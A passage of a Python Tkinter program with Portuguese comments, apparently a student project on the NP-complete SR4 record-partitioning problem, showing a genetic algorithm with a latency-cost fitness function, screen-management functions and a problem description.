self.labelSaidasAlgoritmoGeneticoMediaEsperadaValorK.place(x = 40, y = 300)\r\n else:\r\n self.labelSaidasAlgoritmoGeneticoMediaEsperadaValorK = Label(janela, text = \"Esse valor é MAIOR que K = %d\" % k)\r\n self.labelSaidasAlgoritmoGeneticoMediaEsperadaValorK.place(x = 40, y = 300)\r\n self.labelSaidasAlgoritmoGeneticoMediaEsperadaTempoExecucao = Label(janela, text = \"Tempo de execução: %s segundos\" % (time.time() - start_time))\r\n self.labelSaidasAlgoritmoGeneticoMediaEsperadaTempoExecucao.place(x = 40, y = 320)\r\n \r\n # Função que representa o encapsulamento da solução do \"Algoritmo Genético Custo de Latência\" (SR4-GA-latencyCost.py) \r\n # para solução do SR4 utilizando o cálculo exato como teste\r\n def algoritmoGeneticoCustoLatencia(self):\r\n\r\n # Parâmetros\r\n NUM_GERACOES = 50\r\n TAMANHO_POPULACAO = 30\r\n TAMANHO_SELECAO = 6\r\n TAMANHO_CROSSOVER = 24\r\n PROBABILIDADE_MUTACAO = 0.1\r\n PROBABILIDADE_SHUFFLE = 0.2\r\n NUM_STEPS_MUTACAO_REMANESCENTES = 2\r\n NUM_STEPS_MUTACAO_CROSSOVER = 3\r\n\r\n # População inicial\r\n def populacaoInicial(n, m, tamanhoPop):\r\n populacao = []\r\n for _ in range(tamanhoPop):\r\n individuos = [[0 for i in range(n)] for i in range(m)]\r\n for i in range(n):\r\n individuoComItem = random.choice(individuos)\r\n individuoComItem[i] = 1\r\n populacao.append(individuos)\r\n return populacao\r\n\r\n def carregaR():\r\n R = list(float(prob) for prob in probabilidades.get().strip().split())\r\n somaProbability = math.fsum(R)\r\n if somaProbability != 1:\r\n saidasAlgoritmoGeneticoCustoLatenciaSomaInvalidaProbabilidades.set(\"A soma das probabilidades deve ser igual a 1\") \r\n self.labelSaidasAlgoritmoGeneticoCustoLatenciaSomaInvalidaProbabilidades = Label(janela, textvariable=saidasAlgoritmoGeneticoCustoLatenciaSomaInvalidaProbabilidades) \r\n self.labelSaidasAlgoritmoGeneticoCustoLatenciaSomaInvalidaProbabilidades.place(x = 40, y = 180) \r\n raise ValueError(\"A soma das probabilidades deve ser igual a 1\")\r\n return R\r\n\r\n def somaSetor(setor, R):\r\n probs = []\r\n for i in range(len(setor)):\r\n if setor[i] == 1:\r\n probs.append(R[i])\r\n return math.fsum(probs)\r\n\r\n def obterIndicesProxGeracao(scores):\r\n indicesOrdenados = [i for i in range(len(scores))]\r\n indicesOrdenados = sorted(indicesOrdenados, key = lambda idx: scores[idx])\r\n return indicesOrdenados[:TAMANHO_SELECAO]\r\n\r\n def obterParesCrossover(indices):\r\n possiveisPares = [pair for pair in itertools.combinations(indices, 2)]\r\n random.shuffle(possiveisPares)\r\n return possiveisPares[:TAMANHO_CROSSOVER]\r\n\r\n def obterMenorSetorAtual(somasSetores):\r\n return somasSetores.index(min(somasSetores))\r\n \r\n def tratarResultado(particao, R):\r\n valoresPresentes = [0 for i in range(len(R))]\r\n # Remove duplicados\r\n for i in range(len(particao)):\r\n setor = particao[i]\r\n for j in range(len(setor)):\r\n if valoresPresentes[j] == 1 and setor[j] == 1:\r\n setor[j] = 0\r\n elif valoresPresentes[j] == 0 and setor[j] == 1:\r\n valoresPresentes[j] = 1\r\n # Inclui restantes\r\n # Prioriza por item de maior prioridade\r\n indicesRestantes = [index for index, value in enumerate(valoresPresentes) if value == 0]\r\n indicesRestantes = sorted(indicesRestantes, key = lambda idx: R[idx], reverse=True)\r\n for i in indicesRestantes:\r\n # Inclui no menor conjunto\r\n probabilidades = printProbabilidades(particao, R)\r\n somasSetores = [math.fsum(probabilidades[i]) for i in range(len(probabilidades))]\r\n menorSetor = obterMenorSetorAtual(somasSetores)\r\n particao[menorSetor][i] = 1\r\n\r\n def erroSetor(setor, R, m):\r\n return abs(somaSetor(setor, R) - (1/m))\r\n \r\n def crossover(particaoI, particaoJ, R, m):\r\n scoresI = [erroSetor(particaoI[i], R, m) for i in range(len(particaoI))]\r\n scoresJ = [erroSetor(particaoJ[j], R, m) for j in range(len(particaoJ))]\r\n indicesOrdenadosI = [i for i in range(len(scoresI))]\r\n indicesOrdenadosI = sorted(indicesOrdenadosI, key = lambda idx: scoresI[idx])\r\n indicesOrdenadosJ = [i for i in range(len(scoresJ))]\r\n indicesOrdenadosJ = sorted(indicesOrdenadosJ, key = lambda idx: scoresJ[idx])\r\n idxI = 0\r\n idxJ = 0\r\n totalSetores = 0\r\n resultadoCrossover = []\r\n while totalSetores < len(scoresI):\r\n if idxI == len(scoresI):\r\n if particaoJ[indicesOrdenadosJ[idxJ]] not in resultadoCrossover:\r\n resultadoCrossover.append(particaoJ[indicesOrdenadosJ[idxJ]][:])\r\n else:\r\n resultadoCrossover.append([0 for i in range(len(R))])\r\n totalSetores = totalSetores + 1\r\n continue\r\n elif idxJ == len(scoresJ):\r\n if particaoI[indicesOrdenadosI[idxI]] not in resultadoCrossover:\r\n resultadoCrossover.append(particaoI[indicesOrdenadosI[idxI]][:])\r\n else:\r\n resultadoCrossover.append([0 for i in range(len(R))])\r\n totalSetores = totalSetores + 1\r\n continue\r\n if scoresI[indicesOrdenadosI[idxI]] <= scoresJ[indicesOrdenadosJ[idxJ]]:\r\n if particaoI[indicesOrdenadosI[idxI]] not in resultadoCrossover:\r\n resultadoCrossover.append(particaoI[indicesOrdenadosI[idxI]][:])\r\n totalSetores = totalSetores + 1\r\n idxI = idxI + 1\r\n else:\r\n if particaoJ[indicesOrdenadosJ[idxJ]] not in resultadoCrossover:\r\n resultadoCrossover.append(particaoJ[indicesOrdenadosJ[idxJ]][:])\r\n totalSetores = totalSetores + 1\r\n idxJ = idxJ + 1\r\n tratarResultado(resultadoCrossover, R)\r\n if random.random() <= PROBABILIDADE_SHUFFLE:\r\n random.shuffle(resultadoCrossover)\r\n return resultadoCrossover[:]\r\n\r\n def mutacao(particao, probabilidade, numSteps):\r\n for i in range(numSteps):\r\n if random.random() <= probabilidade:\r\n setorModificado = random.choice(particao)\r\n idxModificado = random.randrange(0, len(setorModificado))\r\n if setorModificado[idxModificado] == 0:\r\n # troca de 0 pra 1 depois de retirar o 1 do setor que originalmente possuia o registro\r\n for setor in particao:\r\n if setor[idxModificado] == 1:\r\n setor[idxModificado] = 0\r\n setorModificado[idxModificado] = 1\r\n else:\r\n # troca de 1 pra 0 e depois atribui o registro a outro setor\r\n setorModificado[idxModificado] = 0\r\n novoSetor = random.choice(particao)\r\n novoSetor[idxModificado] = 1\r\n \r\n\r\n def printProbabilidades(solucao, R):\r\n setores = []\r\n for setorSolucao in solucao:\r\n setores.append([R[index] for index, value in enumerate(setorSolucao) if value == 1])\r\n return setores\r\n \r\n def solucaoPrintavel(solucao):\r\n setores = []\r\n for setorSolucao in solucao:\r\n setores.append([index for index, value in enumerate(setorSolucao) if value == 1])\r\n return setores\r\n\r\n def distancia (i, j, m):\r\n return j - i - 1 if (i < j) else m - i + j - 1\r\n\r\n def somarProbabilidades(indices, R):\r\n probs = []\r\n for idx in indices:\r\n probs.append(R[idx])\r\n soma = math.fsum(probs)\r\n return soma\r\n\r\n def calcularCustoLatencia(R, m, solucao):\r\n indicesM = [i for i in range(1, m + 1)]\r\n # Combinacoes simples\r\n possiveisParesEmM = [pair for pair in itertools.combinations(indicesM, 2)]\r\n # Combinações inversas\r\n possiveisParesEmM.extend([(y, x) for (x, y) in possiveisParesEmM])\r\n # Combinaçoes do mesmo indice\r\n possiveisParesEmM.extend([(i, i) for i in indicesM])\r\n custoTotalCombinacao = 0\r\n # Aqui deve ser verificado o custo de latencia dessa combinacao\r\n # para cada par possivel i e j e acumulado.\r\n for par in possiveisParesEmM:\r\n i = par[0]\r\n j = par[1]\r\n # Subtrair 1 adequa os indices i e j do problema\r\n # aos indices de listas em Python\r\n probI = somarProbabilidades(solucao[i - 1], R)\r\n probJ = somarProbabilidades(solucao[j - 1], R)\r\n valorIJ = probI * probJ * distancia(i, j, m)\r\n custoTotalCombinacao += valorIJ\r\n return custoTotalCombinacao\r\n \r\n # Inicio\r\n # Garantir que a tela não fique poluída com informações de execuções passadas\r\n self.limparLabelsExecucao()\r\n\r\n # Captura a entrada de dados realizada pelo usuário do sistema\r\n m = numTotParticoes.get()\r\n m = int(m) \r\n k = valorReferencia.get()\r\n k = int(k)\r\n R = carregaR()\r\n\r\n start_time = time.time()\r\n\r\n populacao = populacaoInicial(len(R), m, TAMANHO_POPULACAO)\r\n\r\n for geracao in range(NUM_GERACOES):\r\n scores = [calcularCustoLatencia(R, m, populacao[i]) for i in range(len(populacao))]\r\n indicesOrdenados = obterIndicesProxGeracao(scores)\r\n novaPopulacao = [populacao[i][:] for i in indicesOrdenados]\r\n for solucao in novaPopulacao:\r\n mutacao(solucao, PROBABILIDADE_MUTACAO, NUM_STEPS_MUTACAO_REMANESCENTES)\r\n paresCrossover = obterParesCrossover(indicesOrdenados)\r\n for par in paresCrossover:\r\n i = par[0]\r\n j = par[1]\r\n novoIndividuo = crossover(populacao[i][:], populacao[j][:], R, m)\r\n mutacao(novoIndividuo, PROBABILIDADE_MUTACAO, NUM_STEPS_MUTACAO_CROSSOVER)\r\n novaPopulacao.append(novoIndividuo)\r\n populacao = novaPopulacao[:]\r\n\r\n scores = [calcularCustoLatencia(R, m, populacao[i]) for i in range(len(populacao))]\r\n idxSolucao = scores.index(min(scores))\r\n individuo = populacao[idxSolucao]\r\n solucao = solucaoPrintavel(individuo)\r\n custoLatenciaSolucao = calcularCustoLatencia(R, m, solucao)\r\n \r\n # Registra a execução do algoritmo genetico custo de latencia\r\n algoritmoGeneticoCustoLatenciaExecutado.set(True)\r\n\r\n # O bloco abaixo é responsável por exibir a resposta da execução do algoritmo genetico custo de latencia\r\n self.labelSaidasAlgoritmoGeneticoCustoLatenciaSolucao = Label(janela, text = \"=== Solução Aproximada com Função Fitness Custo de Latência ===\")\r\n self.labelSaidasAlgoritmoGeneticoCustoLatenciaSolucao.place(x = 40, y = 220)\r\n self.labelSaidasAlgoritmoGeneticoCustoLatenciaNumRegistros = Label(janela, text = \"Número de registros: %d \" % len(R))\r\n self.labelSaidasAlgoritmoGeneticoCustoLatenciaNumRegistros.place(x = 40, y = 240)\r\n self.labelSaidasAlgoritmoGeneticoCustoLatenciaDispRegistros = Label(janela, text = \"Disposição dos registros: \")\r\n self.labelSaidasAlgoritmoGeneticoCustoLatenciaDispRegistros.place(x = 40, y = 260)\r\n self.labelSaidasAlgoritmoGeneticoCustoLatenciaCombSolucao = Label(janela, text = solucao)\r\n self.labelSaidasAlgoritmoGeneticoCustoLatenciaCombSolucao.place(x = 175, y = 260)\r\n self.labelSaidasAlgoritmoGeneticoCustoLatenciaCustoLatencia = Label(janela, text = \"O custo total de latência dessa solução é %f \" % custoLatenciaSolucao)\r\n self.labelSaidasAlgoritmoGeneticoCustoLatenciaCustoLatencia.place(x = 40, y = 280)\r\n if custoLatenciaSolucao <= k:\r\n self.labelSaidasAlgoritmoGeneticoCustoLatenciaValorK = Label(janela, text = \"Esse valor é MENOR ou IGUAL a K = %d\" % k)\r\n self.labelSaidasAlgoritmoGeneticoCustoLatenciaValorK.place(x = 40, y = 300)\r\n else:\r\n self.labelSaidasAlgoritmoGeneticoCustoLatenciaValorK = Label(janela, text = \"Esse valor é MAIOR que K = %d\" % k)\r\n self.labelSaidasAlgoritmoGeneticoCustoLatenciaValorK.place(x = 40, y = 300)\r\n self.labelSaidasAlgoritmoGeneticoCustoLatenciaTempoExecucao = Label(janela, text = \"Tempo de execução: %s segundos\" % (time.time() - start_time))\r\n self.labelSaidasAlgoritmoGeneticoCustoLatenciaTempoExecucao.place(x = 40, y = 320)\r\n \r\n \r\n # Função para limpar a tela com os parâmetros e resultados da execução do Algoritmo Exato\r\n def limparExecucao(self):\r\n if (algoritmoExatoExecutado.get() \r\n or saidasAlgoritmoExatoSomaInvalidaProbabilidades.get() != \"\" \r\n or saidasAlgoritmoExatoValoresInvalidosIeJ.get() != \"\"\r\n or numTotParticoes.get() != \"\" \r\n or valorReferencia.get() != \"\"\r\n or probabilidades.get() != \"\"):\r\n self.EntradaNumeroTotalParticoes.delete(0,\"end\")\r\n self.EntradaValorReferencia.delete(0,\"end\")\r\n self.EntradaProbabilidades.delete(0,\"end\")\r\n self.limparLabelsExecucao()\r\n elif (algoritmoGeneticoMediaEsperadaExecutado.get() \r\n or saidasAlgoritmoGeneticoMediaEsperadaSomaInvalidaProbabilidades.get() != \"\"\r\n or numTotParticoes.get() != \"\" \r\n or valorReferencia.get() != \"\"\r\n or probabilidades.get() != \"\"):\r\n self.EntradaNumeroTotalParticoes.delete(0,\"end\")\r\n self.EntradaValorReferencia.delete(0,\"end\")\r\n self.EntradaProbabilidades.delete(0,\"end\")\r\n self.limparLabelsExecucao()\r\n elif (algoritmoGeneticoCustoLatenciaExecutado.get() \r\n or saidasAlgoritmoGeneticoCustoLatenciaSomaInvalidaProbabilidades.get() != \"\" \r\n or numTotParticoes.get() != \"\" \r\n or valorReferencia.get() != \"\"\r\n or probabilidades.get() != \"\"):\r\n self.EntradaNumeroTotalParticoes.delete(0,\"end\")\r\n self.EntradaValorReferencia.delete(0,\"end\")\r\n self.EntradaProbabilidades.delete(0,\"end\")\r\n self.limparLabelsExecucao()\r\n\r\n # Função para limpar a tela retirando os widgets de entrada e limpando os labels\r\n def limparTela(self):\r\n self.lblTitle.destroy()\r\n self.lblInst.destroy()\r\n if (telaAlgoritmoExatoVisitada.get()):\r\n self.labelTituloAlgoritmoExato.config(text=\"\") \r\n self.labelNumTotParticoes.config(text=\"\") \r\n self.EntradaNumeroTotalParticoes.delete(0,\"end\") \r\n self.EntradaNumeroTotalParticoes.destroy()\r\n self.labelValorReferencia.config(text=\"\") \r\n self.EntradaValorReferencia.delete(0,\"end\") \r\n self.EntradaValorReferencia.destroy()\r\n self.labelProbabilidades.config(text=\"\") \r\n self.EntradaProbabilidades.delete(0,\"end\")\r\n self.EntradaProbabilidades.destroy()\r\n self.labelLegendaProbabilidades.config(text=\"\")\r\n self.botaoExecutar.destroy()\r\n self.botaoLimpar.destroy()\r\n self.limparLabelsExecucao()\r\n elif (telaAlgoritmoGeneticoMediaEsperadaVisitada.get()):\r\n self.labelTituloAlgoritmoGeneticoMediaEsperada.config(text=\"\")\r\n self.labelNumTotParticoes.config(text=\"\") \r\n self.EntradaNumeroTotalParticoes.delete(0,\"end\") \r\n self.EntradaNumeroTotalParticoes.destroy()\r\n self.labelValorReferencia.config(text=\"\") \r\n self.EntradaValorReferencia.delete(0,\"end\")\r\n self.EntradaValorReferencia.destroy()\r\n self.labelProbabilidades.config(text=\"\") \r\n self.EntradaProbabilidades.delete(0,\"end\")\r\n self.EntradaProbabilidades.destroy()\r\n self.labelLegendaProbabilidades.config(text=\"\")\r\n self.botaoExecutar.destroy()\r\n self.botaoLimpar.destroy()\r\n self.limparLabelsExecucao()\r\n elif (telaAlgoritmoGeneticoCustoLatenciaVisitada.get()):\r\n self.labelTituloAlgoritmoGeneticoCustoLatencia.config(text=\"\")\r\n self.labelNumTotParticoes.config(text=\"\") \r\n self.EntradaNumeroTotalParticoes.delete(0,\"end\") \r\n self.EntradaNumeroTotalParticoes.destroy()\r\n self.labelValorReferencia.config(text=\"\") \r\n self.EntradaValorReferencia.delete(0,\"end\")\r\n self.EntradaValorReferencia.destroy()\r\n self.labelProbabilidades.config(text=\"\") \r\n self.EntradaProbabilidades.delete(0,\"end\")\r\n self.EntradaProbabilidades.destroy()\r\n self.labelLegendaProbabilidades.config(text=\"\")\r\n self.botaoExecutar.destroy()\r\n self.botaoLimpar.destroy()\r\n self.limparLabelsExecucao()\r\n elif (telaTodoVisitada.get()):\r\n self.labelTodo.config(text=\"\")\r\n elif (telaDescricaoProblemaVisitada.get()):\r\n self.labelTituloDescricaoProblema.config(text=\"\")\r\n self.labelDescricaoProblema.config(text=\"\")\r\n elif (telaSobreVisitada.get()):\r\n self.labelTituloSobre.config(text=\"\")\r\n self.labelSobre.config(text=\"\") \r\n\r\n # Função para limpar os labels existentes na tela\r\n def limparLabelsExecucao(self):\r\n if (saidasAlgoritmoExatoSomaInvalidaProbabilidades.get() != \"\"): \r\n saidasAlgoritmoExatoSomaInvalidaProbabilidades.set(\"\")\r\n elif (saidasAlgoritmoExatoValoresInvalidosIeJ.get() != \"\"):\r\n saidasAlgoritmoExatoValoresInvalidosIeJ.set(\"\")\r\n elif (saidasAlgoritmoGeneticoMediaEsperadaSomaInvalidaProbabilidades.get() != \"\"): \r\n saidasAlgoritmoGeneticoMediaEsperadaSomaInvalidaProbabilidades.set(\"\")\r\n elif (saidasAlgoritmoGeneticoCustoLatenciaSomaInvalidaProbabilidades.get() != \"\"): \r\n saidasAlgoritmoGeneticoCustoLatenciaSomaInvalidaProbabilidades.set(\"\")\r\n if (algoritmoExatoExecutado.get()):\r\n self.labelSaidasAlgoritmoExatoPossiveisCombinacoes.config(text=\"\")\r\n self.labelSaidasAlgoritmoExatoSolucao.config(text=\"\")\r\n self.labelSaidasAlgoritmoExatoNumRegistros.config(text=\"\")\r\n self.labelSaidasAlgoritmoExatoDispRegistros.config(text=\"\")\r\n self.labelSaidasAlgoritmoExatoCombSolucao.config(text=\"\")\r\n self.labelSaidasAlgoritmoExatoCustoLatencia.config(text=\"\")\r\n self.labelSaidasAlgoritmoExatoValorK.config(text=\"\")\r\n self.labelSaidasAlgoritmoExatoTempoExecucao.config(text=\"\")\r\n elif (algoritmoGeneticoMediaEsperadaExecutado.get()): \r\n self.labelSaidasAlgoritmoGeneticoMediaEsperadaSolucao.config(text=\"\")\r\n self.labelSaidasAlgoritmoGeneticoMediaEsperadaNumRegistros.config(text=\"\")\r\n self.labelSaidasAlgoritmoGeneticoMediaEsperadaDispRegistros.config(text=\"\")\r\n self.labelSaidasAlgoritmoGeneticoMediaEsperadaCombSolucao.config(text=\"\")\r\n self.labelSaidasAlgoritmoGeneticoMediaEsperadaCustoLatencia.config(text=\"\")\r\n self.labelSaidasAlgoritmoGeneticoMediaEsperadaValorK.config(text=\"\")\r\n self.labelSaidasAlgoritmoGeneticoMediaEsperadaTempoExecucao.config(text=\"\") \r\n elif (algoritmoGeneticoCustoLatenciaExecutado.get()): \r\n self.labelSaidasAlgoritmoGeneticoCustoLatenciaSolucao.config(text=\"\")\r\n self.labelSaidasAlgoritmoGeneticoCustoLatenciaNumRegistros.config(text=\"\")\r\n self.labelSaidasAlgoritmoGeneticoCustoLatenciaDispRegistros.config(text=\"\")\r\n self.labelSaidasAlgoritmoGeneticoCustoLatenciaCombSolucao.config(text=\"\")\r\n self.labelSaidasAlgoritmoGeneticoCustoLatenciaCustoLatencia.config(text=\"\")\r\n self.labelSaidasAlgoritmoGeneticoCustoLatenciaValorK.config(text=\"\")\r\n self.labelSaidasAlgoritmoGeneticoCustoLatenciaTempoExecucao.config(text=\"\") \r\n \r\n # Monta a tela de entrada inicial dos dados relativo ao algoritmo exato\r\n def telaAlgoritmoExato(self):\r\n # Limpa a tela antes de montar a tela do Algoritmo Exato\r\n self.limparTela()\r\n\r\n self.labelTituloAlgoritmoExato = Label(janela, text = \"ALGORITMO EXATO\")\r\n self.labelTituloAlgoritmoExato.place(x = 350, y = 10)\r\n \r\n # Label da entrada do número total de partições (m) \r\n self.labelNumTotParticoes = Label(janela, text = \"Número total de partições (m):\")\r\n self.labelNumTotParticoes.place(x = 40, y = 60)\r\n self.EntradaNumeroTotalParticoes = Entry(janela, textvariable = numTotParticoes, width = 10)\r\n self.EntradaNumeroTotalParticoes.place(x = 230,y = 60) \r\n \r\n # Label da entrada do valor de referência K\r\n self.labelValorReferencia = Label(janela, text = \"Valor de referência K:\")\r\n self.labelValorReferencia.place(x = 40, y = 100) \r\n self.EntradaValorReferencia = Entry(janela, textvariable = valorReferencia, width = 10)\r\n self.EntradaValorReferencia.place(x = 230, y = 100)\r\n\r\n # Label da entrada do número total de partições (m) \r\n self.labelProbabilidades = Label(janela, text = \"Probabilidades de acesso a cada registro, separadas por espaços, totalizando 1:\")\r\n self.labelProbabilidades.place(x = 40, y = 140) \r\n self.EntradaProbabilidades = Entry(janela, textvariable = probabilidades, width = 30)\r\n self.EntradaProbabilidades.place(x = 40, y = 160) \r\n\r\n # Label da legenda das Probabilidades\r\n self.labelLegendaProbabilidades = Label(janela, text = \"Exemplo: 0.3 0.2 0.1 0.4\")\r\n self.labelLegendaProbabilidades.place(x = 230, y = 160)\r\n\r\n # Botão que executa o Algoritmo Exato\r\n self.botaoExecutar = Button(janela, text = \"Executar\", command = self.algoritmoExato)\r\n self.botaoExecutar.place(x = 500, y = 160)\r\n\r\n # Botão que limpa a tela\r\n self.botaoLimpar = Button(janela, text = \"Limpar\", command = self.limparExecucao)\r\n self.botaoLimpar.place(x = 650, y = 160)\r\n\r\n # Registra que a tela do Algoritmo Exato foi visitada\r\n telaAlgoritmoExatoVisitada.set(True)\r\n\r\n # Apagando todos os registros de atividades realizadas anteriores a esta\r\n algoritmoGeneticoMediaEsperadaExecutado.set(False)\r\n algoritmoGeneticoCustoLatenciaExecutado.set(False)\r\n telaAlgoritmoGeneticoMediaEsperadaVisitada.set(False)\r\n telaAlgoritmoGeneticoCustoLatenciaVisitada.set(False)\r\n telaTodoVisitada.set(False)\r\n telaDescricaoProblemaVisitada.set(False)\r\n telaSobreVisitada.set(False)\r\n\r\n # Monta a tela de entrada inicial dos dados relativo ao algoritmo genetico com função fitness da média esperada\r\n def telaAlgoritmoGeneticoMediaEsperada(self):\r\n # Limpa a tela antes de montar a tela do Algoritmo genetico com função fitness da média esperada\r\n self.limparTela()\r\n\r\n self.labelTituloAlgoritmoGeneticoMediaEsperada = Label(janela, text = \"ALGORITMO GENÉTICO MÉDIA ESPERADA\")\r\n self.labelTituloAlgoritmoGeneticoMediaEsperada.place(x = 300, y = 10)\r\n \r\n # Label da entrada do número total de partições (m) \r\n self.labelNumTotParticoes = Label(janela, text = \"Número total de partições (m):\")\r\n self.labelNumTotParticoes.place(x = 40, y = 60)\r\n self.EntradaNumeroTotalParticoes = Entry(janela, textvariable = numTotParticoes, width = 10)\r\n self.EntradaNumeroTotalParticoes.place(x = 230,y = 60) \r\n \r\n # Label da entrada do valor de referência K\r\n self.labelValorReferencia = Label(janela, text = \"Valor de referência K:\")\r\n self.labelValorReferencia.place(x = 40, y = 100) \r\n self.EntradaValorReferencia = Entry(janela, textvariable = valorReferencia, width = 10)\r\n self.EntradaValorReferencia.place(x = 230, y = 100)\r\n\r\n # Label da entrada do número total de partições (m) \r\n self.labelProbabilidades = Label(janela, text = \"Probabilidades de acesso a cada registro, separadas por espaços, totalizando 1:\")\r\n self.labelProbabilidades.place(x = 40, y = 140) \r\n self.EntradaProbabilidades = Entry(janela, textvariable = probabilidades, width = 30)\r\n self.EntradaProbabilidades.place(x = 40, y = 160) \r\n\r\n # Label da legenda das Probabilidades\r\n self.labelLegendaProbabilidades = Label(janela, text = \"Exemplo: 0.3 0.2 0.1 0.4\")\r\n self.labelLegendaProbabilidades.place(x = 230, y = 160)\r\n\r\n # Botão que executa o Algoritmo genetico\r\n self.botaoExecutar = Button(janela, text = \"Executar\", command = self.algoritmoGeneticoMediaEsperada)\r\n self.botaoExecutar.place(x = 500, y = 160)\r\n\r\n # Botão que limpa a tela\r\n self.botaoLimpar = Button(janela, text = \"Limpar\", command = self.limparExecucao)\r\n self.botaoLimpar.place(x = 650, y = 160)\r\n\r\n # Registra que a tela do Algoritmo genetico foi visitada\r\n telaAlgoritmoGeneticoMediaEsperadaVisitada.set(True)\r\n\r\n # Apagando todos os registros de atividades realizadas anteriores a esta \r\n algoritmoExatoExecutado.set(False)\r\n algoritmoGeneticoCustoLatenciaExecutado.set(False)\r\n telaAlgoritmoExatoVisitada.set(False)\r\n telaAlgoritmoGeneticoCustoLatenciaVisitada.set(False)\r\n telaTodoVisitada.set(False)\r\n telaDescricaoProblemaVisitada.set(False)\r\n telaSobreVisitada.set(False)\r\n \r\n # Monta a tela de entrada inicial dos dados relativo ao algoritmo genetico Custo de Latencia\r\n def telaAlgoritmoGeneticoCustoLatencia(self):\r\n # Limpa a tela antes de montar a tela do Algoritmo genetico custo de latência\r\n self.limparTela()\r\n\r\n self.labelTituloAlgoritmoGeneticoCustoLatencia = Label(janela, text = \"ALGORITMO GENÉTICO CUSTO DE LATÊNCIA\")\r\n self.labelTituloAlgoritmoGeneticoCustoLatencia.place(x = 300, y = 10)\r\n \r\n # Label da entrada do número total de partições (m) \r\n self.labelNumTotParticoes = Label(janela, text = \"Número total de partições (m):\")\r\n self.labelNumTotParticoes.place(x = 40, y = 60)\r\n self.EntradaNumeroTotalParticoes = Entry(janela, textvariable = numTotParticoes, width = 10)\r\n self.EntradaNumeroTotalParticoes.place(x = 230,y = 60) \r\n \r\n # Label da entrada do valor de referência K\r\n self.labelValorReferencia = Label(janela, text = \"Valor de referência K:\")\r\n self.labelValorReferencia.place(x = 40, y = 100) \r\n self.EntradaValorReferencia = Entry(janela, textvariable = valorReferencia, width = 10)\r\n self.EntradaValorReferencia.place(x = 230, y = 100)\r\n\r\n # Label da entrada do número total de partições (m) \r\n self.labelProbabilidades = Label(janela, text = \"Probabilidades de acesso a cada registro, separadas por espaços, totalizando 1:\")\r\n self.labelProbabilidades.place(x = 40, y = 140) \r\n self.EntradaProbabilidades = Entry(janela, textvariable = probabilidades, width = 30)\r\n self.EntradaProbabilidades.place(x = 40, y = 160) \r\n\r\n # Label da legenda das Probabilidades\r\n self.labelLegendaProbabilidades = Label(janela, text = \"Exemplo: 0.3 0.2 0.1 0.4\")\r\n self.labelLegendaProbabilidades.place(x = 230, y = 160)\r\n\r\n # Botão que executa o Algoritmo genetico\r\n self.botaoExecutar = Button(janela, text = \"Executar\", command = self.algoritmoGeneticoCustoLatencia)\r\n self.botaoExecutar.place(x = 500, y = 160)\r\n\r\n # Botão que limpa a tela\r\n self.botaoLimpar = Button(janela, text = \"Limpar\", command = self.limparExecucao)\r\n self.botaoLimpar.place(x = 650, y = 160)\r\n\r\n # Registra que a tela do Algoritmo genetico foi visitada\r\n telaAlgoritmoGeneticoCustoLatenciaVisitada.set(True)\r\n\r\n # Apagando todos os registros de atividades realizadas anteriores a esta \r\n algoritmoExatoExecutado.set(False)\r\n algoritmoGeneticoMediaEsperadaExecutado.set(False)\r\n telaAlgoritmoExatoVisitada.set(False)\r\n telaAlgoritmoGeneticoMediaEsperadaVisitada.set(False)\r\n telaTodoVisitada.set(False)\r\n telaDescricaoProblemaVisitada.set(False)\r\n telaSobreVisitada.set(False)\r\n \r\n # Função que representa um item de menu que chama algo a implementar\r\n def todo(self):\r\n # Limpa a tela antes de montar a tela do \"A Implementar\"\r\n self.limparTela()\r\n \r\n self.labelTodo = Label(janela,text=\"[A implementar]\")\r\n self.labelTodo.pack()\r\n\r\n # Registra que a tela \"A Implementar\" foi visitada\r\n telaTodoVisitada.set(True)\r\n\r\n # Apagando todos os registros de atividades realizadas anteriores a esta\r\n algoritmoExatoExecutado.set(False)\r\n algoritmoGeneticoMediaEsperadaExecutado.set(False)\r\n algoritmoGeneticoCustoLatenciaExecutado.set(False)\r\n telaAlgoritmoExatoVisitada.set(False)\r\n telaAlgoritmoGeneticoMediaEsperadaVisitada.set(False)\r\n telaDescricaoProblemaVisitada.set(False)\r\n telaSobreVisitada.set(False)\r\n\r\n # Função que descreve o problema NP-Completo SR4\r\n def descricaoProblema(self):\r\n # Limpa a tela antes de montar a tela de Descrição do Problema\r\n self.limparTela()\r\n\r\n self.labelTituloDescricaoProblema = Label(janela, text = \"DESCRIÇÃO DO PROBLEMA NP-COMPLETO SR4\")\r\n self.labelTituloDescricaoProblema.place(x = 270, y = 10)\r\n descProblema = \"\"\" O problema Np-Completo SR4 é assim classificado por ser de complexidade não polinomial em tempo de resolução computacional.\\n\r\n Sua descrição matemática pode ser compreendida da seguinte forma:\\n\r\n Dada uma instância de um conjunto R de registros, a probabilidade racional p(r) pertence a [0; 1] para cada r pertencente a R, com somatório\\n\r\n das probabilidades totalizando 1, número m de setores, e um inteiro positivo K.\\n\r\n Pergunta: Há uma partição de R em subconjuntos disjuntos R1; R2; ..., Rm de modo que, se p(Ri) representa o somatório das probabilidades\\n \r\n e o \"custo de latência\" d(i,j) seja definido como j - i - 1 se 1 <= i < j <= m e ser m - i + j - 1 se 1 <= j <= i <= m, então a soma que se\\n \r\n sobrepõe a todos os pares ordenados i, j, 1 <= i, j <= m, de p(Ri) * p(Rj) * d(i; j) é no máximo K?\\n\r\n Referência: [Cody e Coffman, 1976]. Transformação da partição, 3 partições.\\n\r\n Comentário: NP-completo no sentido forte. NP-completo e solucionável em tempo pseudo-polinomial para cada m >= 2 fixo.\"\"\"\r\n self.labelDescricaoProblema = Label(janela, text=descProblema)\r\n self.labelDescricaoProblema.place(x=15, y = 30)\r\n \r\n # Registra que a tela de Descrição do Problema foi visitada\r\n telaDescricaoProblemaVisitada.set(True)\r\n\r\n # Apagando todos os registros de atividades realizadas anteriores a esta\r\n algoritmoExatoExecutado.set(False)\r\n algoritmoGeneticoMediaEsperadaExecutado.set(False)\r\n algoritmoGeneticoCustoLatenciaExecutado.set(False)\r\n telaAlgoritmoExatoVisitada.set(False)\r\n telaAlgoritmoGeneticoMediaEsperadaVisitada.set(False)\r\n telaAlgoritmoGeneticoCustoLatenciaVisitada.set(False) \r\n telaTodoVisitada.set(False)\r\n telaSobreVisitada.set(False)\r\n \r\n\r\n # Função que apresenta a disciplina, o professor e os integrantes do grupo 5 (tema SR4)\r\n def sobre(self):\r\n # Limpa a tela antes de montar a tela sobre os autores e orientador\r\n self.limparTela()\r\n\r\n self.labelTituloSobre = Label(janela, text = \"AUTORES E ORIENTADOR\")\r\n self.labelTituloSobre.place(x = 320, y = 10)\r\n autores 